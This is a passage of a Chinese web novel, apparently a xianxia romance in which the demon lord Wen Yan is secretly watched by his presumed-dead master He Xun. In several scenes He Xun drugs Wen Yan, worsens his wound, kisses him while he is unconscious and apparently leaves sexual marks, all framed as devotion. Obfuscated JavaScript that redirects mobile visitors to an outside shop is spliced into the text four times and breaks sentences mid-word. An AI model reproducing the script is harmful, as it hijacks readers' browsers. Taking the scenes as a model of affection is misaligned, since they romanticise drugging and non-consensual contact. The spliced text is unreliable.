突然失去视力对于任何一个正常人来说都很难接受,或许是这时候格外容易对身边人产生依赖心理,又或许是对方刚才救了自己,鬼使神差地,闻厌转了下脑袋,对着贺峋的方向,再次强调道:“好疼。” 因为疼痛,尾音有些无力,还有些轻微的颤抖,从闻厌口中说出来时又轻又软。 不过闻厌本人显然没有意识到这一点,皱着眉一脸不满,要是那双眼睛能看见的话,肯定已经用目光把贺峋瞪出个孔来。 贺峋靠近了些,微凉的长发有几缕扫到伤口旁边的皮肤,有些痒,让闻厌不由往旁边挪了挪。 “别动。”贺峋避开伤处,伸手扣住眼前人的肩膀。 然后下一瞬他又笑了笑,温声道:“还没弄好,一动纱布就跑了。” 话音和风细雨,让闻厌刚才突然泛起的心慌有些莫名和可笑。 但如果闻厌此时看得见的话,一定会发现对方眼中那与话音截然不同的情绪。 幽深,痴迷,满是危险的独占欲,熟悉得让人心惊。 闻厌侧过身子,咬牙把裸露的肩膀往贺峋的方向一送:“那你快点!” 贺峋压抑的呼吸蓦地乱了一瞬:“你……” 突然止住了话音,一下把闻厌的外袍拉了回去,转头看向门外。 唐柏的身影尴尬地停在那里。 他正想要开口道歉,就对上了贺峋的眼睛。 唐柏此前从来不知道一个人的眼神也能让人恐惧得心跳如擂鼓。 闻厌半天没等到贺峋的动作,已经转过身来,莫名其妙道:“你到底在干什么?” 然后又歪了歪脑袋,感受着屋内气流的变化:“有人来了?” 贺峋看着唐柏,竖起食指放在唇上,无声地嘘了一声。然后转回头看向身边人,危险的神情与温润的语气矛盾拉扯,最后透出诡异的柔和:“没有,是门被风吹开了。” 14. 第 14 章 唐柏走出门外几里,刚一过拐角,身子就脱力地重重靠在墙上,心有余悸。 今日在信阁看到那份密报后,他就心事重重的,辗转难眠到半夜,睁眼一看,恰好见闻厌的屋子也亮着灯。对唐柏而言,对方现在已是他在魔域中最信任的人,便想来找人聊一聊,魂不守舍下就忘了敲门。 可没料到推开门后就见到了受伤的闻厌,不知为何竟没有易容,肩膀上还被划了一道。 而更奇怪的是还有另外一人。 昨晚少年被山海楼的副使叫走,唐柏还记得对方的冷漠态度,如果他刚才没看错的话,现在只是胳膊上划了条口子,这人怎么便来亲自上药了?难不成当时另有隐情,自己错怪他了? 但唐柏不会错过对方刚才的眼神。没有面容狰狞,也没有大声怒喝,幽深沉静的一个眼神递来,足以让人毛骨悚然。 就像发现了别人觊觎自己宝物的凶兽,下一瞬就会用锋利的獠牙将闯入者碎尸万段。 然而实际上唐柏都不知道对方的敌意从何而来。 除了那裹了纱布的伤口,他什么都没来得及看清,就被对方的眼神止住了脚步。 唐柏叹了口气,将手中的纸折了折,重新收起来。 微凉的晚风吹过庭院,唐柏静静地站了会儿,往自己的屋子走去。 …… “哪里有风?” 一瞬的停顿过后,身边人就继续若无其事地包扎起伤口来,这回很快就好了,然而闻厌还是狐疑道:“我只是看不见又不是变傻了,是谁来了?” 似乎知道对方想说什么,闻厌又抢先补充道:“我不是说现在,刚刚到底是谁?” 过了一会儿,贺峋才问道:“那你想见到谁?” 闻厌看不见对方的神情,但他敏锐地察觉出这句话的语气有些奇怪,似乎有些不悦。 闻厌简直莫名其妙:“你又犯什么病?我都没计较你骗我,你生什么气?” “……是唐柏。”贺峋道,“半夜来找你,也不知道想干什么?” 闻厌哼了一声:“反正肯定没你那么不安好心。” “在闻楼主心中,我不值得托付吗?”贺峋话中带笑,眼中却闪着幽深的光。 然而闻厌懒得和人幼稚地拌嘴,功力丧失后就很容易困顿,他捂嘴打了个哈欠,敷衍道:“是是是,最相信你。” 他摸索着桌沿起身,绕过屏风,往内室的床榻走去,头也不回道:“劳驾,走前带上门。” 屏风后映出那道清瘦身影,人影晃动几下,接着就是床褥摩擦的窸窣声,很快灯就灭了。闻厌躺在榻上,听到吱呀一声,男人阖上门,推着轮椅离开了,缓缓呼出一口气来。 修为尽失后,虽有困意,脑中思绪却纷乱,各种有待考量的事情毫无规律地浮起又落下。特别是那坐轮椅的男人,若明日修为还未恢复,留着个知道自己底细的人在身边总是不安心。 闻厌本以为今晚注定是个不眠夜,没想到一边想着那人,竟慢慢睡着了。 所以也没有察觉到有个身影去而复返。 贺峋就坐在闻厌榻前,目光专注。 闻厌睡着睡着就会缩成一团,里衣领口有些散开,从锦被下露出一小段肩颈,有零星的暧昧痕迹印在白皙肌肤上。借着月色,贺峋的目光一寸寸从上面掠过,宛若在巡视自己最珍贵的宝物。 他极尽温柔地摸了摸徒弟熟睡中的侧脸,语气是将要忍耐不住的期待:“快点发现吧,厌厌,为师快要等不及了。” …… 闻厌猛地睁眼,意识回笼的瞬间便是去探自己的内府。 经脉间的内力充盈,有耀眼的天光自窗外映入眼中,一切都已经恢复如常。 闻厌长长地松了口气,又倒回了榻上。 然后就被自己副使的传音淹没了。 昨晚闻厌只提及自己遇到了刺杀,让周则去把满地尸体收拾好,此外便再没了音信。周则耐着性子等到日上三竿,都没见闻厌的身影,终于忍不住去猜测对方是不是遇到了不测。 闻厌周身乏得很,本不愿搭理,想了想,还是怕把自己好用的下属急出什么好歹来,到底是传了音让人直接过来。 “楼主!”周则一进院门,就看到坐在桌旁慢悠悠喝粥的闻厌,急走到对方面前,担心地左右打量,见人全须全尾的,才放下心来。 闻厌完全没被周则的心急火燎影响,不紧不慢地搅弄着他的粥,还问了句:“吃了吗?” 周则摇摇头,于是闻厌把自己的餐盒往旁边挪了一点,指指自己身侧的座位:“坐。” 周则拘谨地坐了下来。 闻厌道:“吃什么自己挑。” 周则应了,看着花样繁多的早点却没什么胃口,迫不及待地直奔正事:“楼主,昨晚的刺杀是怎么回事?您为何不让属下去协助?” 闻厌反应平淡道:“又不是大事,没必要。” “景明,原来你在这里。”一道带着笑的嗓音自院外传来。 周则循声望去,就见来人坐着轮椅,自顾自地进了闻厌的院子。 对方的言语之间态度熟稔,让周则感觉比已经在闻厌身边好几年的自己还要来得亲近。而闻厌正专心致志地把自己粥中的葱花往外挑,一个眼神都没分给来人,就呛道:“打住,我们之间可没那么熟。” 贺峋不以为意地笑笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327385|140446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是现在才看到闻厌旁边还有个人:“周副使也在这。” 周则已经见过许多次这个男人了。不过以往对方都是一副温润和煦的模样,今日不知怎的莫名有些让人发怵,但又说不出哪里不对,只沉默地点了点头。 贺峋的视线很快就转回了闻厌身上,问道:“伤好些了吗?” “楼主,你受伤了?!”周则惊道。 “小伤,已经好了。”闻厌瞪了贺峋一眼,“别吓我的副使。” 然而周则知道,事情绝没有闻厌说得那么轻巧。 自他跟在闻厌身边以来,他几乎就没见对方受过伤,哪怕前几年层出不穷的暗杀和刁难,闻厌也能游刃有余地全身而退。 昨晚肯定非同寻常的凶险。可他却一无所知……甚至还不如一个才认识不久的人和他们楼主来得亲密。 闻厌看周则的表情,还以为他真的被吓到了,难得良心发现,解释道:“就是肩膀不小心被划了一下,上了药,早上起来就好了。” 贺峋却细细咀嚼着“我的”二字,目光在桌边的两人身上徘徊,意味不明。 他垂眸敛去眼中神色,又笑着开口道:“闻楼主,我也还没吃呢,你不请你的救命恩人吃顿早饭吗?” 闻厌哼了一声,没好气道:“吃不死你。” 但还是默许了对方来到自己桌边。 周则就在一旁看着两人互动,惊觉在闻厌接近唐柏的这段时日中,竟然已经有一人能够以如此亲密又自然态度出现在他们那喜怒不定的楼主身边。 “明正,明正……周明正!” 周则猛地回神,连忙松开桌下已经紧握成拳的手,看向闻厌:“……楼主。” 闻厌皱着眉看他一眼,没有去追究刚才的走神,只道:“还吃吗?不吃的话就走了。” 周则摇头,起身准备跟着闻厌离开。 闻厌走前看了一眼那几乎纹丝未动的食盒,抱怨道:“太难吃了,当外门的都是猪吗?吃的都是什么东西?” 食盒里的东西是今早闻厌心血来潮去外门的膳堂拿回来的。因为有个讲究的楼主,山海楼上下的衣食住行都比其他门派要精致不少,楼中亭台楼阁无一不雅致,吃食样式丰富造型精巧,别说魔域,就是仙门那边的大门派也没几个比得上。 仅就摆在闻厌面前的那碗粥,米粒颗颗晶莹剔透,软烂可口,雪白的鱼肉卧于其上,散发着阵阵诱人香味。 贺峋正准备尝一下,闻言默默放下了正要舀粥的勺子。 周则对他们楼主的挑剔要求已经习以为常,面不改色道:“属下回头就让人改。” 闻厌满意地点点头,带着周则飘然离去。 15. 第 15 章 闻厌仔细察看着面前一具具冷硬的尸身,脸色有些沉峻。 他昨晚并没有完全相信那人的话,第一时间就让周则把尸体都带了回去,以免对方动手脚。 可现在自己亲自来查验,才不得不承认,这些人在身份上隐藏得极好,就是奔着以命换命来的,一旦暗杀失败,便利落地自断经脉,干脆利落得甚至不像来自魔域的手笔。 闻厌直起身,一弹指,黑红色的火焰升腾,火舌咬上了面前冰冷的躯体。他对周则道:“去查。这些人进入山海楼时肯定有留下踪迹。” 周则点头应是,然后猜测道:“楼主,您说这可能是是非阁所为吗?” 他想起近几年楼中对此越来越多的密报,道:“听闻是非阁完全中立于正邪两派,只要付出的价钱足够,什么委托都可以接,这几年势力壮大得极快,要是有人针对楼主,雇其暗杀也不是没可能。” 闻厌安静地听完周则的分析,乌黑的瞳仁倒映着摇曳的火光,脸上的神色明灭不定。 “说得有理。”闻厌道,“也一起查了吧。” 屋内的温度一点点变高,两人走到屋外,周则回头,透过窗户看里面像是要吞噬一切的黑红火焰,喜道:“楼主,您的修为又精进了。” 闻厌“嗯”了一声。 他已经发现了,虽然昨日突然失明又功力全失,但迈过去后修为便能更上一层楼,就像这是功法修炼的一环似的。 闻厌又问道:“唐柏又去信阁了吗?” 周则点头:“虽然属下已经特意说过今日不必前去,但唐公子还是一大早就去了,对了,还趁无人时翻阅阁中密信,要制止吗?” “不用管他。”闻厌似乎对这些早有预料,弯了弯眼睛,“他费心来山海楼,就是想要借机找到唐家灭门的真相,我未免他如此劳累,直接摆好了放在他面前,就让他慢慢去看吧。” 周则很少见他们楼主能为一件事如此费心,忍不住问道:“楼主,唐家那还魂草就如此珍贵吗?” 闻厌回头看了周则一眼,那张向来万事不上心的漂亮面容上有复杂神情一闪而过,垂了垂眼,笑道:“要么有执念未尽的亡人,要么有自己百年之后的打算,明正,你没有这个渴望,所以不理解。” “那楼主呢?”周则道,“楼主是为了什么?” 闻厌但笑不语,转身往前而去。 周则看着闻厌渐行渐远的背影,脱口而出道:“是为贺——” “不许提他!”闻厌猛地转过头怒喝。 闻厌很少有如此鲜明的怒气,嘴唇紧抿,胸口明显起伏着,盯着周则的一双眼里阴霾密布,整个人绷得像一根濒临极限的弦。 周则白了脸色,屈膝半跪于地,却执拗地看向闻厌,眼中盛着同样不输于闻厌的剧烈情绪。 闻厌怒视着自己的下属,有阴冷的魔息压抑不住从他身上溢散,让周则闷哼一声,结结实实地跪到了地上,慢慢低下了头。 闻厌偏过目光,深呼吸了几瞬,才缓缓敛去周身威压,走到周则面前,蹙着眉问道:“你最近到底怎么了?” “是太累了?还是遇到变故了?”闻厌见人还是低着头一动不动,道,“周则,你的状态不正常,我没这耐心一个个去猜。” “是属下失态了。”周则终于动了动,抬头看向闻厌,“属下保证,再不会犯。” 自己的问题被避了过去,闻厌只深深地看了周则一眼,没有刨根究底,甩袖走了。 等到那道身影彻底消失,周则才缓缓露出一个苦涩的笑。 …… 湖中央的归元岛静静地沐浴在月光下。 在归元之会结束后,这里便重归寂静,只余夜晚的清脆虫鸣和清风拂过时的树影摇动。 闻厌拎着酒壶站在湖岸,仰头看高悬的那一轮明月。 有风突然平地而起,吹过闻厌垂下的袖口,头顶的云层也飘然散去,露出被遮挡的月亮。 月亮不断移动,湖中白玉拱桥的倒影也随之变化,最后和拱桥合成一轮弧度完美的圆月。 湖底传来几声轻微的咔嗒声,闻厌就在这时飞身而起,所过之处,底下湖水就像被人强行分开一般向两边退去,露出中间的石阶。 闻厌落在石阶上,两侧石壁镶嵌的夜明珠发出莹莹白光,照着闻厌一步步走到了湖底之下。 湖水重新合上之际,一道推着轮椅的身影悄无声息出现,也尾随闻厌进了湖底。 参加归元之会的魔修中,有不少都悄悄打探过山海楼的宝库,皆一无所获,有些还莫名其妙丢了性命。他们万万不会想到,苦寻已久的地方竟然就在自己脚下。 宝库最外层全是亮闪闪的珠宝灵石,堆成了一座座小山。闻厌习以为常地从中穿过。石阶一路往下,像是要深入地底。闻厌经过一层又一层的心法秘籍,灵丹妙药,最后停在了一扇雕花石门前。 这是宝库的最底层,相比上面那些堆得满满当当的天材地宝,石门前的宽阔空地上四处散落的都是起居物品,给冰冷的地底增添了一份怪异的生活气息。 闻厌把带来的酒壶顺手放在身后的桌案上,注视着这已经研究了无数次的石门,苦恼地皱起了眉。 这是贺峋的私库。 闻厌为了打开它,曾多次不眠不休地钻研了几日,却偏偏都无功而返。他本就不是耐得下性子的人,尝试失败后就放弃了,可今日不得不再来此一趟。 闻厌找来软垫,又拎过酒壶喝了一口,在石门前坐下,冷白指尖一寸寸抚过石门上的雕花,幽幽叹道:“师尊,您说您都死那么久了,为什么还要折腾我……” 他修的功法特殊,普天之下,修习者找不出第二个……除了他的师尊。 贺峋死前还没教完,后来闻厌又打不开自己师尊的私库,不得已对着对方残存的寥寥几张手稿强行修炼。 事实证明,翻箱倒柜才找出来的这几张纸一点也不靠谱,他一练便出了岔子,差点丢了性命。后来修为确实提升了,也捡回一条命,但却落下个要命的头疾。 平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男人正收回手,两人身侧还环绕着未散去的阴冷气息。在闻厌被痛苦模糊的视线中,发现对方的狼狈比起自己其实不遑多让,满身的血迹连黑色的外袍都遮盖不住,露出的皮肤上伤口随处可见。 可哪怕这种情况下,这男人浑身上下还是透着一股让人毛骨悚然的危险感觉。 不过表面上,冰冷的杀意已经被一副兴致盎然的神情替代,对方微笑着对他道:“真是天生的好苗子。拜我为师,随我修魔,如何?” 后来闻厌才知道那剧痛源自搜魂之术,对被承受者损伤极大,早已成了失传的禁术。哪怕后来被贺峋带在身边细心调养了许久,身体还是落下病根,五感有异,比旁人对痛觉敏感许多。 被酒意麻痹的大脑有些混沌,闻厌一时都分不清自己是来找石门的开启之法,还是单纯过来发泄一通。 闻厌很恨地又抓起手边的摆件往前扔去,没留神被弹回来的尖锐碎片在手背划了一下。 闻厌当即“嘶”了一声,只觉手上的疼钻心一般,一刻也无法忍耐。 那双乌黑的眼眸蒙上了一层淡淡水雾,语气中透着不自觉的委屈:“师尊,你明明都已经死了,怎么还会让我那么疼?” 16. 第 16 章 贺峋挥散空气中的迷香,一把扶住了闻厌瞬间软倒的身体。 少年跌坐在软垫上,脑袋软绵绵地歪到一边,闭着眼人事不知,全靠贺峋抓着他的那只手才没完全滑到地上。 贺峋俯身揽住人的腰往上一提,坐在轮椅上把自己徒弟抱了个满怀。 他执起眼前人的手腕,低头看白皙手背上那道突兀的血痕,笑着摇了摇头:“小没良心的,这都能怪到为师身上。” 贺峋的指尖在伤口摩挲,用了几分力,本来只是浅浅的一条血痕,被他弄得越发严重,鲜红的血液涌出,沾上贺峋的指腹。 闻厌不舒服地哼哼了两声,身体自我保护的本能让他想要把手抽回来,同时整个人也在往后仰,想要挣脱这个危险的怀抱——然后被腰上那双修长的手更加用力地扣在了怀中。 “嘘。” 贺峋垂眸,触碰上怀中人柔软的唇瓣,动作极其轻柔地揉弄着,把指腹上沾染的血液抹在闻厌颜色稍淡的唇上。 或许是潜意识中对这人的服从让闻厌依言安静下来,任由贺峋动作,宛如一个精致脆弱的人偶。徒弟的乖巧让贺峋眼中的笑意愈深,捏着人下颌,端详了好一阵,叹道:“真漂亮。” 贺峋的脸上满是发自内心的欣赏和赞叹,还有狂热的迷恋被压在那黑沉的眼眸之下,织成一张让人逃无可逃的网。 他低头吻上闻厌的鼻尖,接着慢慢往下,停留在殷红的唇上。 唇齿相交,腥甜的味道在两人口腔中蔓延开来——是属于闻厌的血——这一认知让贺峋眼中的兴奋越发浓烈,手掌往后移到闻厌的后脑勺上,按着人加深了这个满是血腥气的吻。 把人放开后,贺峋的嘴唇也染上了鲜红的血色。他抬手在自己唇角抹了抹,笑得就像被血肉取悦的怪物,浑身都透着令人毛骨悚然的温柔。 他再度抓起闻厌的手腕,眼神没有从仍旧闭目不醒的人脸上移开一寸,偏头在那白皙手背上落下一吻。 伤口开始止血结痂,很快就光滑如初,接着贺峋的手腕一翻,修长的手指插入闻厌的指缝间,与人十指相扣。贺峋又吻了下对方鼻尖的那颗小痣,喟叹道:“厌厌……” “……楼主?”周则的声音突然从上方不远处传来。 贺峋眼神一冷,拥着徒弟向石阶看去,就见有模糊人影投在墙上,正在往最底层而来。 …… 周则是来例行盘点山海楼库房的。 知道此处进入方法的人不多,除了楼主闻厌之外,便是他这个楼主副使。 除了最开始的那几年,闻厌后来就很少来此了,平日都是他来打理,所以周则在看到宝库中亮起的灯火时非常意外。 然而一路往下都没看到人影,周则便知道对方肯定是去了那扇石门前……那人一向也只会去那,有时什么都不做,也能在那若有所思地待半宿。 下到去后,果然发现了熟悉的清瘦身影,正趴在桌案上,对自己的到来毫无反应,似乎睡着了。 周则情不自禁地放轻了嗓音,试探着唤了一声:“楼主?” 没有动静。 周则便放轻了脚步来到桌案前方,就见他们楼主果然是睡着了,枕着自己的一条手臂,只露出小半张侧脸,有细碎的发丝散落在脸颊上,勾连出红润的唇瓣,看起来柔软而温驯。 他很少有见到睡着后的闻厌的机会。 山海楼楼主,掌管整个魔域的魔君,极少会在人前露出柔软不设防的模样,哪怕对自己再过信任,也是如此。 但他觉得眼前人种种不同寻常的一面应该是有人见过的,只不过是在他遇见闻厌之前——门前被人发泄般砸了一地的碎片便是隐晦的证明。 周则心里再度涌上强烈的不甘和嫉恨。 十年了,这已经是贺峋死后的第十年,也是他认识闻厌的第十年。 然而时间完全没冲淡这位前任魔君对闻厌的影响,反而看起来愈演愈烈,甚至让人带上了不自知的疯魔。 他不是没听过楼里有人悄悄嚼舌根,这对师徒的关系不正常。 情人?脔宠?怨侣? 他不在乎,他只在乎为何他们楼主从未真正回头看过同样默默跟在身后已经十年了的自己。 就如对其他人一般,一贯的冷漠又无情,却又散发着无与伦比的吸引力,让人控制不住地沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327387|140446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷其中,不可自拔。 周则知道,他们楼主这副模样向来是最惹人心痒的,众魔修齐聚一堂时,底下悄悄投过来的视线多得不计其数……甚至连那不知底细的陌生人都想要接近他们楼主身边。 他可以勉强接受在闻厌的心中自己永远都比不上已经死去了的那个人,但无法接受自己竟比不上一个才认识不久的人。 “为什么?”周则看着闻厌近在咫尺的睡颜,魔怔般喃喃道,“楼主,你从来都不肯认真看我一眼……” 情不自禁伸出的手在即将触碰到闻厌的脸颊时,一股凌厉的杀意突然直冲周则而来。他如梦初醒,连忙撤回手,猛地起身喝道:“谁?!” 慌乱间的动静过大,起身时还不慎踢到了闻厌枕着的桌案。 果不其然,趴在案上的人动了动,已经有了醒来之意。 周则此时满心都是慌张和不安,做了亏心事后的心虚掩都掩不住。他不敢想象若在此时被醒来后的闻厌撞见,自己该怎么应对对方的盘问。 他甚至都顾不上去查探周围是否藏有他人,便迅速抹去自己的气息,低着头行色匆匆地离开了。 周则的身影刚从石阶上消失,那一直安静垂下的纤长眼睫颤了颤,趴在案上的身影睁开了眼。 闻厌一眼就见到地上已经成了一堆碎片的酒壶,还有疑似发酒疯时被牵连的其他东西。他郁闷地叹了口气,揉了揉太阳穴,撇撇嘴道:“真是太久没喝,酒量都变差了。” 已经到了他惯常的就寝时间,虽然是预料之中的一无所获,但闻厌还是准备离开了。只不过没忍住在走前踹了那门一脚:“到底藏了什么见不得人的东西?那么难开!” 等到所有声响都彻底平息,一直掩在阴影中的身影转着轮椅出来了。 那扇闻厌研究了近十年都毫无头绪的石门,就在这人面前悄无声息地打开了。 贺峋看向闻厌刚才枕过的桌案,黑沉眼眸中的神色晦涩难明,似有无形的风暴正在酝酿,唇边仍噙着浅笑,却是如出一辙的冰冷刺骨。 身后洞开的石门里,有经年未散的血腥味悄悄爬出门外,融入了山海楼的沉沉夜色中。 17. 第 17 章 “周副使。”有侍从端着东西经过,见周则在楼主寝殿前踱步,停下行礼道。 周则面色冷淡地点了点头,心里却因为昨晚的事而一直七下八上,忐忑难安。 回去后,他辗转了一晚,越想越分不清那冰冷的杀意是自己的错觉,还是真的有人藏在暗处,把自己的一举一动都尽收眼底。 那种冰冷的恐惧如附骨之疽,让他忍不住一大早就等在闻厌的寝殿前,试探对方的态度,宛如一个想要第一时间知道审判结果的囚徒——近来自己接二连三地在对方面前失态,已经经不起任何闪失了。 思忖间,就听寝殿里面突然传来巨大动静,伴随着一阵东西被砸落碎裂的清脆声音。 周则心中一凛,几步跑到门前,敲门道:“楼主?您怎么了?!” 没有应答。 不详的预感瞬间涌了上来,周则肯定人就在里面,要不是闻厌下过死令不允许任何人踏进自己的寝殿一步,他都想立即硬闯。 已经有人留意到这里的异常,周则强迫自己镇定下来,屏退周围的所有侍从。 他又尝试向闻厌传音,无一不是石沉大海,而寝殿被他们楼主亲自设下了种种法阵结界,要打开根本不是一时半会的事,想要破门的魔气一触殿门,就被反噬回来,逼得他连连倒退几步。 周则只能咬牙继续用力拍门,眼见还是毫无动静,他心一横,转身正要找心腹来一起破阵,身后传来吱呀一声轻响,殿门突然被人打开了。 周则又惊又喜,转头道:“楼主!” 闻厌却没应他,而周则在看到对方的模样后,刚松下去的眉心也一点点皱了起来。 清明时节已过,气温正逐渐升高,眼前人却披着冬季的大氅,就连露出来的那段纤长脖颈都被厚实毛领裹得严严实实的,只露出一小张脸。 闻厌的神情有些无措,眼中满是惊疑不定。 周则看着这幅模样的闻厌,心中第一次浮现出“惊弓之鸟”四个字,让他自己都有些难以置信。他试探着向人走去,轻声唤道:“……楼主?” 闻厌像是这时候才发现自己的下属,眼神一凝,猛地抓住对方的手臂:“你昨晚在哪?” “属下去清点库房了。”周则微微垂下眼,答道。 “好……那就是在楼中。”闻厌紧接着追问,不错眼地盯着他道,“你可有听到我这里有什么异常的响动?” 周则摇了摇头。 他突然想起在不久前闻厌似乎也问过类似的问题,还要他留意晚间楼中的动静,但查探后没有任何异样,再加上后面闻厌自己也不是非常执着,就不了了之。 闻厌松开了手,身形不稳地往旁边走了几步,心烦意乱地自言自语道:“也是,如果是他,怎会被人发现……” 周则听不懂,但看得出闻厌的状态是前所未有的糟糕,整个人看起来都有些摇摇欲坠。他试探着把人往回扶,见闻厌木木的,没有拒绝,便先带人在前厅坐下。 才站了一会儿,周则便能感受到有源源不断的冷意从寝殿深处传来,他压下心中的疑惑,去寻茶壶倒了盏热茶放到闻厌手上。 周则这才发现眼前人的体温冷得不像话。 闻厌的脸上带着隐隐的青白色,不知是冷的还是吓的,泛白的指尖有些神经质地抠着杯壁,完全沉浸在了自己的思绪中。 期间周则唤了人好几次,然而对方充耳不闻。 茶盏上方冒着袅袅热气,宛如一道屏障,把闻厌隔在了任何人都无法进入的地方。他脸上的神情像是已经陷在了外人无从得知的经年往事中,盯着这几缕白雾,喃喃道:“我就知道他不会那么容易放过我……” ……他? 周则终于从闻厌没头没尾的低语中提取到了关键信息。 能够让闻厌反应那么大的人,周则瞬间就联想到了那位传闻中的前任魔君——但怎么可能呢?都死了那么多年了。 周则试图劝说道:“楼主,您先冷静一点……” “你让我怎么冷静?!”闻厌毫无征兆地爆发了,从喃喃自语的状态中脱离出来,一把扯下了披在外头的大氅,怒道,“你说,你让我怎么冷静?!” 周则被扔过来的大氅兜了满头,他抬手将其拿了下来,看清面前之人后,无声地倒吸了口冷气,又被烫到了一般猛地移开眼神。 他总算知道闻厌为何要把自己捂得那么严实了。 白皙纤长的脖颈上吻痕遍布,一路往下延伸到被衣物遮挡的其他地方,格外引人遐想,宽大的袖口滑落,露出来的腕骨上是一圈青紫掐痕,宛如遭到了一场暧昧的凌虐。 这已经不止是寻常欢爱后留下的痕迹,裸露在外的肌肤几乎都印上了不堪入目的印子,像是在大张旗鼓地宣示所有权。 山海楼,楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327388|140446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主寝殿内,山海楼的楼主却被不知何人如此对待。 闻厌的胸膛剧烈起伏着,他努力让自己镇定下来,拿起茶盏灌了一口,温热的茶汤入肚,稍稍缓解了冰冷刺骨的凉意。 他深呼吸,正要让周则彻查昨晚楼中的动向,就听对方艰涩的嗓音响起:“楼主,属下之前也曾不小心看见过这些……在您身上出现过,还以为您早已知晓。” “你说什么?!”闻厌还以为自己听错了,“什么时候?” “就在归元之会那日。” 闻厌的脑海中有了依稀的印象,当时他其实看不见周则说的是什么,为了不暴露自己的状态,他只是随口扯了个回答堵住对方的追问。 就这一次误会,让他错过了提早发现的机会,以至于他一直没有察觉对方早就无声无息地出现在了自己身边。 闻厌脸上的最后一丝血色也退得干干净净。 “啪啦——”茶盏失手滑落,落地摔碎。 “楼主!” 耳边是周则焦急的喊声,但闻厌已经听不到了。 刹那间心中念头翻涌,闻厌把归元之会后出现在自己身边的新面孔都过了一遍。不,还可能要更加往前,甚至可能都只是一直在暗中注视着自己!他从来都猜不准自己师尊的想法! 与此同时,一个与那人相差了十万八千里的身影不受控制地在脑中浮现。 “楼主,您去哪?”周则急急地追着闻厌向外走去。 到底是掌管了魔域近十年的人,短短几瞬,惊惶之色已经从闻厌的脸上退去,他走路带风,脚下不停道:“去找个人。” “是谁?属下直接把他带过来便是,楼主不用费心跑一趟。” “不,我亲自去。”闻厌突然停下脚步,周则躲闪不及,差点撞在对方身上。 周则臂间搭着的大氅被人一把抽走,闻厌重新披上,再度匆匆往外走,对身后的周则道:“你去把昨晚出现在寝殿附近的人都找出来,等我回来一个个查。” “是。”周则见闻厌没有任何易容,眼看是往信阁的方向走,想起对方在唐柏面前的说辞,紧走两步提醒道,“楼主,那位唐公子今日应该也在信阁。” “嗯,你去随便找个人,把他支开。”闻厌吩咐道。 闻厌是这样说,但心里也有了新的计较。 若真是那人……他还要那还魂草做什么? 18. 第 18 章 唐柏被人叫走了,信阁中只余贺峋一人。连日的雨天过后,终于放晴,明媚的阳光洒进窗楹,落在他手中的纸页上。 这段时日唐柏一副两耳不闻窗外事的模样,对另外两人间的纠葛都无暇顾及,一门心思地想着进信阁。 今日同样如此,迅速地翻找之后,就找到了自己的目标,不过还没来得及看,就被人叫走了,只能先随手塞在其他信件之下。 贺峋不紧不慢地转着轮椅过去,抽出对方自以为藏得很隐蔽的东西。他扫了一眼,不出所料,上面记载的事情正与唐家灭门的真相有关,不过记载不全,想来这几日唐柏悄悄在信阁找的密报应该都是这种。 贺峋一目十行,心中好笑。这编故事的手笔……一看就是自己那位熟读各种话本的好徒弟。 是真是假有待考证,只是里面所写的始作俑者有些出乎意料。 贺峋眼中的笑意和兴味还没散去,就听楼下的大门被人一脚踹开,一个熟悉的清瘦身影气势汹汹地直奔自己而来。 贺峋眼一眨,对方就已经一阵风似的刮到了自己面前, 闻厌一看对方在悠然自得地晒着太阳,看东西还看得津津有味,脸上都是笑,顿时气不打一处来,一把将对方手中的纸张抽走。 贺峋手中一空,抬眼就对上闻厌冰冷的眼神,左右看了看,笑道:“是谁惹你了?那么生气。” 闻厌上上下下地把人审视了一遍,不放过任何一个微小的细节,然而对方的温和笑容就像刻在了脸上一样,寻不出一点破绽。 “昨晚有人闯进了我的寝殿。”闻厌盯着人道,“丑时之后,你在哪?” “闻楼主是怀疑我?”贺峋看起来意外又无奈,往后一靠,指了指自己的双腿,“我一个残废,没这本事吧?” 闻厌没好气地哼了一声:“像你这种别有用心之人,谁知道是不是使了什么见不得人的手段?” 贺峋看起来被这兜头一盆脏水逗笑了:“我怎么就见不得人了?” 他看着闻厌,调侃道:“闻小魔君,你的师尊没教过你凡事要讲证据吗?” 空气有一瞬间的凝滞。 要是周则在这里,他绝对很熟悉这种感觉。 